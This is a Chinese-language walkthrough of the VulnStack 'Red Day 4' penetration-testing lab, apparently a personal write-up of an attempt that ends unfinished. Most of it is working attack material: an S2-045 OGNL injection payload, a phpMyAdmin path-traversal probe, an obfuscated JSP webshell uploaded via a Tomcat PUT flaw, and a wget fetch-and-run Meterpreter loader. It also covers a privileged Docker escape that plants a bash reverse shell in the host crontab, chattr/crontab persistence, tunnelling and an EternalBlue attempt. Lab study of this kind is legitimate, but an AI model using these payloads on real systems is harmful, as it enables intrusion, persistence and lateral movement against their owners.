红日4攻略失败
红日4靶场复现
一、环境搭建
1.网络配置略过,注意将wireshark置于仅主机网段方便抓包
2.配置docker环境,搭建s2、tomcat、phpmyadmin #如图一
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
二、信息收集
nmap扫描网段:nmap -sV -sS 192.168.0.0/24 #如图一
对目标网站详细端口扫描:nmap -sC -sV -A -O -Pn 192.168.0.104 -p 22,2001,2002,2003
扫描结果显示
22:ssh 版本OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
2001:struts2
2002:tomcat 版本8.5.19
2003:mysql |phpmyadmin 版本mysql | phpMyAdmin 4.8.1
图一如下
三、漏洞检测
1.对tomcat 8.5.19版本漏洞查找并验证
1.kali中查找漏洞脚本:searchsploit tomcat #如图一
2.将poc脚本复制到当前路径:searchsploit -m /jsp/webapps/42966.py #如图二
3.使用该脚本验证是否存在该漏洞:python 42966.py -u http://192.168.0.104:2002/ #证明存在该漏洞,如图三
图一如下
图二如下
图三如下
2.对s2漏洞查找并利用,检测结果如图
存在s2-045以及s2-046漏洞
3.对PHPmyadmin进行文件包含漏洞检测
构造poc: ?target=sql.php?/../../../../../../../../../etc/passwd
四、漏洞利用
1.s2漏洞 手工getshell
1.1submit抓包
1.2构造payload
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
将payload插入到filename中
进行00截断
成功执行whoami
使用msf进行getshell
# 1.生成payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
生成的payload为:
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG; chmod +x nOjEi2QZ; ./nOjEi2QZ& disown
#将;替换成&&
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG&& chmod +x nOjEi2QZ&& ./nOjEi2QZ& disown
# 2.将上述修改完的payload进行send:
# 3.获取getshell :sessions 1
# 4.docker逃逸
## 1.检查是否在docker容器中:
#查看根目录下全部文件,如果存在.dockerenv文件,证明在docker中
ls -al /
#查看系统进程cgroup信息,存在docker字段,证明在docker中
cat /proc/1/cgroup
## 2.查看是否为特权模式启动
cat /proc/self/status |grep Cap #检查结果不是特权模式启动,换一个getshell
2.tomcat 手工getshell
根据tomcat版本确定漏洞CVE-2017-12617
通过修改PUT方法,/绕过jsp上传
# 1.抓包 #如图一
修改PUT方法、jsp后添加/
木马为:
<%
// 获取请求参数
String H6Pv4 = request.getParameter("test");
if (H6Pv4 != null) {
// 自定义类加载器
class E9OXyWMn extends ClassLoader {
E9OXyWMn(ClassLoader parent) {
super(parent);
}
// 自定义类定义方法
public Class H6Pv4(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
// 字节码数组
byte[] bytes = null;
try {
// 初始化的异或解密数组
int[] aa = new int[]{
99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,
117, 115, 127, 116, 117, 98
};
// 解密字符串
StringBuilder ccstrBuilder = new StringBuilder();
for (int i = 0; i < aa.length; i++) {
aa[i] ^= 16; // 异或解密
ccstrBuilder.append((char) aa[i]);
}
String ccstr = ccstrBuilder.toString();
// 加载解密后的类
Class APh7z = Class.forName(ccstr);
// 调用解码方法
String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});
bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);
} catch (Exception e) {
// 如果解密失败,尝试使用 Base64 解码
bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);
}
// 使用自定义类加载器加载字节码
Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);
// 创建类的实例并调用 equals 方法
Object o = aClass.newInstance();
o.equals(pageContext);
}
%>
# 3.蚁剑连接成功如图二
# 4.通过命令判断该环境为docker容器
#查看根目录下全部文件,如果存在.dockerenv文件,证明在docker中
ls -al /
#查看系统进程cgroup信息,存在docker字段,证明在docker中
cat /proc/1/cgroup
# 5.查看是否为特权模式启动
cat /proc/self/status |grep Cap #检查结果是特权模式启动 如图三
图一如下
图二如下
五、docker逃逸
1.docker逃逸,并使用nc监听
利用方法:privileged特权模式启动容器逃逸
具体步骤:
#查看磁盘分区情况
fdisk -l
#新建目录
mkdir test
#挂载宿主机磁盘到新建目录中 #如下图一
mount /dev/sda1 /test
#在kali上开启监听
nc -lvp 4321
#切换到新建目录
cd /test
#新建.sh文件
touch /test/test.sh
#写入反弹shell命令到sh文件中
echo "bash -i >& /dev/tcp/192.168.0.108/4321 0>&1" >/test/test.sh
#把sh文件写入计划任务
echo "* * * * * root bash /test.sh" >> /test/etc/crontab
图一如下
2.msf反弹
# 生成elf木马 如图一
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4455 -f elf > /root/test.elf
# 启动监听模块 如图二
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4455
run
# 启动一个http服务 如图三
python3 -m http.server
# 通过nc下载攻击机elf木马 如图四
wget http://192.168.0.108:8000/test.elf
# 检查上传成功后,添加权限并执行 如图五
chmod +x test.elf
./test.elf &
# 此时查看msf监听端口,发现已成功反弹 如图六
图一如下
图二如下
图三如下
图四如下
图五如下
图六如下
3.权限维持
# 添加不可删除更改的权限
chattr +i test.elf
# 创建计划任务
echo '*/1 * * * * root /root/test.elf' >> /etc/crontab
# crontab -l #查看正在执行的计划任务
六、横向移动-frp隧道搭建
通过查看ifconfig发现除docker外其他网卡
六、横向移动
1.fscan内网扫描
# 上传fscan
upload /home/kali/muma/fscan
shell
加权执行
chmod +x fscan
./fscan -h 192.168.183.135/24
由于扫描发现开放445端口并可能存在永恒之蓝漏洞,则使用msf扫描模块具体扫描一下
2.frp隧道搭建
frp服务端配置如下图
frp客户端配置如下图
将客户端配置ip为攻击机IP
启动frp
kali服务端启动
chmod +x frps
./frps -c frps.toml #如图一
meterpreter 上传客户端并在后台执行
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &
图一如下
开启socks5代理
proxychains msfconsole
修改proxychains4.conf配置文件,设置socket代理IP及端口 #注意端口需要与frpc配置的remoteport相同 #如图一
setg proxies socks5:192.168.0.108:6000
# 已知fscan扫描发现ms17-010漏洞,现利用如下
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445 # 如图二三
run
session
图一如下
图二如下
失败,换一个隧道搭建,使用ew
3.ew隧道搭建
添加路由创建代理:
route add 192.168.183.0/24
run autoroute -p #如图一
#ew创建代理
kali: ./ew_linux_x64 -s rcsocks -l 1080 -e 1234 #如图二
目标主机:
upload /home/kali/muma/ew/ew_linux_x64
chmod +x ew_linux_x64
./ew_for_linux64 -s rssocks -d 192.168.0.108 -e 3234 ##(或者nohup ./ew_for_linux64 -s ssocksd -l 1080 &) #如图三
图一如下
图二如下
图三按理说应该如下,但是nc不小心让我关了
4.使用MS17-010模块进行攻击
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.137
set rport 445
run
总是死!!!!!我服了,先上传,我找找原因
参考文献:实战|记一次逃逸Docker渗透测试-腾讯云开发者社区-腾讯云 (tencent.com)
VulnStack|红日靶场——红队评估四 - 哔哩哔哩 (bilibili.com)
ATT&CK红队评估(红日靶场四) - FreeBuf网络安全行业门户 #主看docker meterpreter shell
红日靶场4 - hello_bao - 博客园 (cnblogs.com)
内网穿透工具EW的简单使用(附内网环境实现)_ew网穿-CSDN博客 #主看ew使用方法